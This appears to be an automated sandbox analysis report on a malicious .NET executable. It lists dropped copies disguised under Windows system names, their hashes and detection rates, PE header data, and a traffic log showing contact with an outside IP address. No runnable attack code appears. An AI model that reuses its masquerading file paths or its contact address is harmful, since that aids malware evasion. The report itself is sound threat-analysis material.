Preview:	Gr6yqg3J1KUBzZfNrYdDhCweg9wu0AswrgNO7GAkqdGnJOIyonzIRUrE5cSrtJS1chTSLRPkX2XE5IVS08GNKjfXyJTfxT1hKOLl40mWXOvY7nIwGA1vCFq2C6dB8uwEBz4r7tXAVuz6yHZLBgYxbFeEhSj8WkXnbqWHsbzXn1ZSQuD5gRAbV9m5V0JoJYnvWLfHuSdjrAJkqLxxPocEj6RbEbv2RKNONn6EP5LOybuUzBPKCWZf6jLa4DDSglSgx4WCO

C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\PLA\Templates\RRVGfHJzvQMYfWe.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Panther\setup.exe\5b884080fd4f94

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	163
Entropy (8bit):	5.717019470509937
Encrypted:	false
SSDEEP:	3:/8d3oLGdJwX/Mpzk7YB1x2a2P9S+LI7emRJ+kCuAqNpqQ32Yo0cxxTO3T0T:KQMm7YB1xyISqAqf9MS3Tq
MD5:	E78D8A7FF432BEC29FD7E6D10FD9CAF0
SHA1:	40133B44CB7CAF694733C94F23F538AA64C74954
SHA-256:	8547D81DFEB062A0A93B627B2BF06BB061C4EC1EA3BAC9BF233E4D9063BE657C
SHA-512:	1B9DCAB1F09CA56BD4CC73CB35070C814EB7E6C88A5E40636C390E97F42BEEA1F8C81509302B0E1806539B4099AE90885CC73D279B86F51781168969BFA8D086
Malicious:	false
Preview:	yk664GKQxb2Miogrz8eIUDRdZlg0fgh5JVA48E85VdtC1R5ysH8hsWzvSchSjTuQ47DMnmtu9ix1TPmHqrIYh9MwgPlggpVBsdH3NsKFYOhKj7bDzZm1LWt5uRqYBMNTNwI0Ht38hC9TbCNjyhrHDd0WuMI6CwEMAO6

C:\Windows\Panther\setup.exe\fontdrvhost.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Panther\setup.exe\fontdrvhost.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\twain_32\Registry.exe

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.085096929451833
Encrypted:	false
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
MD5:	2519412BD469CE3DE2888AA487BE8F51
SHA1:	91DD80C942023F360E81E27F4964504ACB9BC4C5
SHA-256:	7E98BAEA7A5B0D51143910CDE4C5503AE15D55D6F88B4B840AE7FE79469ED12F
SHA-512:	5EB1F509F16079CC1B56057EDB2A6AFF7F44EC3CE01543BD1DC0F7CE1A6408BC691FA3311AAD814A10B41AB888D5EAA1A05CF2AF61472B533E6382374D4D99B2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@.....................................K.... .......................@....................................................... ............... ..H............text....... ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\twain_32\Registry.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\twain_32\ee2ad38f3d4382

Download File

Process:	C:\Users\user\Desktop\13ZNp2xvRU.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	245
Entropy (8bit):	5.791985976789841
Encrypted:	false
SSDEEP:	3:pyq7UTSEDJjzHtjvGhZHfNdEbgXrE/kUmAwRax36c52Emkmu1YOExW87AhqiVIXE:VoTSyPvGTfYgXrEjiy36X4TYVZmstFU
MD5:	239347DFE9162EEE12F77077DB8968DD
SHA1:	15856013BF408957FB8A62CEB4C4FCE02A8C336D
SHA-256:	05306169066769843E6174C70680E8601ED04AEB010A760F517A775AC4AF1147
SHA-512:	7055AB871B91645083F37C7198730901AE2AAC1462F9A7EE7DEE3394DB726E695DFA75E85B85B1E509F7EA8D912C54E5C7ED721FC7DA29C00BA6A8304FF86590
Malicious:	false
Preview:	Q57dm26XXMlsDO47a36Ee9HVbHtzvFe3Jc70HFJJ1bDWoQD7jzhX9GuRxlBfIGlSsrjkQEzVtxND5vrLDvQ5hG4CsqCfEoAvzvo6rdqfAMnM3rVC30bX0pulwg1kBTQFxbNKHudkEu5UcrIBUAlNMn5JACKKlGdq5iYcdL5JW1SFuaJEX0QBsD3KgDJEkS98RPY4TqhJFc0UUzZk3Fxu0c82pO5aB0iE1TyfBOvrSG5PMizrojLff

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.085096929451833
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.79% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01%
File name:	13ZNp2xvRU.exe
File size:	848'384 bytes
MD5:	2519412bd469ce3de2888aa487be8f51
SHA1:	91dd80c942023f360e81e27f4964504acb9bc4c5
SHA256:	7e98baea7a5b0d51143910cde4c5503ae15d55d6f88b4b840ae7fe79469ed12f
SHA512:	5eb1f509f16079cc1b56057edb2a6aff7f44ec3ce01543bd1dc0f7ce1a6408bc691fa3311aad814a10b41ab888d5eaa1a05cf2af61472b533e6382374d4d99b2
SSDEEP:	12288:8qefeFkk8I2xKhgvmPsneK9Qbj9TZNkpEvdJkCoG+tanmS:7kVI2xKhgBKpTZNtdOl/tamS
TLSH:	3205F602BE44CA52F0091233C3EF554987B4AD516AA6E32B7DBA377D55123AB3C0D9CB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....a.b.....................6........... ........@.. .......................`............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4cd6de
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x62DD6184 [Sun Jul 24 15:13:08 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xcd690	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd2000	0x31c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xcb6e4	0xcb800	6dd9c20ba02995408a8562e08cdbd6c3	False	0.506720765509828	data	6.1242624405428545	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0xce000	0x2fdf	0x3000	127a285c4ad10f8c6eac2723c4e7e278	False	0.3101399739583333	data	3.242356529427456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd2000	0x31c	0x400	40f30f58f8172affabc1d36500587c8d	False	0.361328125	data	2.641821731914665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd4000	0xc	0x200	bebf7a77d75f169ba2253d01ad7ec127	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xd2058	0x2c4	data	English	United States	0.4717514124293785

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 22:42:03.289412975 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.542651892 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.542747974 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.544604063 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.797859907 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.940936089 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.940957069 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.940968037 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.940982103 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.940998077 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941010952 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941016912 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.941024065 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941035032 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941046953 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941060066 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:03.941066027 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.941083908 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:03.941098928 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.193813086 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.193830013 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.193836927 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.193849087 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.193857908 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.193865061 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194022894 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194035053 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194037914 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.194041967 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194047928 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194053888 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194061041 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194067001 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194073915 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194080114 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194087982 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194094896 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194102049 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194108009 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194113970 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.194336891 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447264910 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447287083 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447299957 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447312117 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447324991 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447336912 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447340965 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447349072 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447361946 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447374105 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447387934 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447417021 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447464943 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447479010 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447485924 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447496891 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447510004 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447521925 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447525978 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447535038 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447547913 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447549105 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447555065 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447561026 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447566986 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447575092 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447587013 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447598934 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447604895 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447614908 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447616100 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447628021 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447639942 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447645903 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447657108 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447658062 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447669029 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447681904 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447693110 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447698116 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447706938 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447719097 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447726011 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447730064 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447741985 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447751999 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447753906 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447774887 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447781086 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447788000 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447799921 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.447829008 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.447860956 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.453166962 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.471163034 CEST	49731	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700470924 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700489044 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700500965 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700514078 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700526953 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700531960 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700540066 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700551987 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700561047 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700566053 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700577021 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700588942 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700612068 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700618029 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700618029 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700627089 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700639009 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700649023 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700651884 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700665951 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700679064 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700685978 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700687885 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700691938 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700719118 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700730085 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700742006 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700752974 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700762987 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700764894 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700777054 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700788975 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700788975 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700800896 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700812101 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700812101 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700824022 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700836897 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700846910 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700849056 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700861931 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700872898 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700885057 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700891972 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700897932 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700907946 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700917959 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700921059 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700932026 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700939894 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700944901 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700957060 CEST	80	49730	45.130.42.16	192.168.2.4
Apr 23, 2024 22:42:04.700967073 CEST	49730	80	192.168.2.4	45.130.42.16
Apr 23, 2024 22:42:04.700968981 CEST	80	49730	45.130.42.16	192.168.2.4
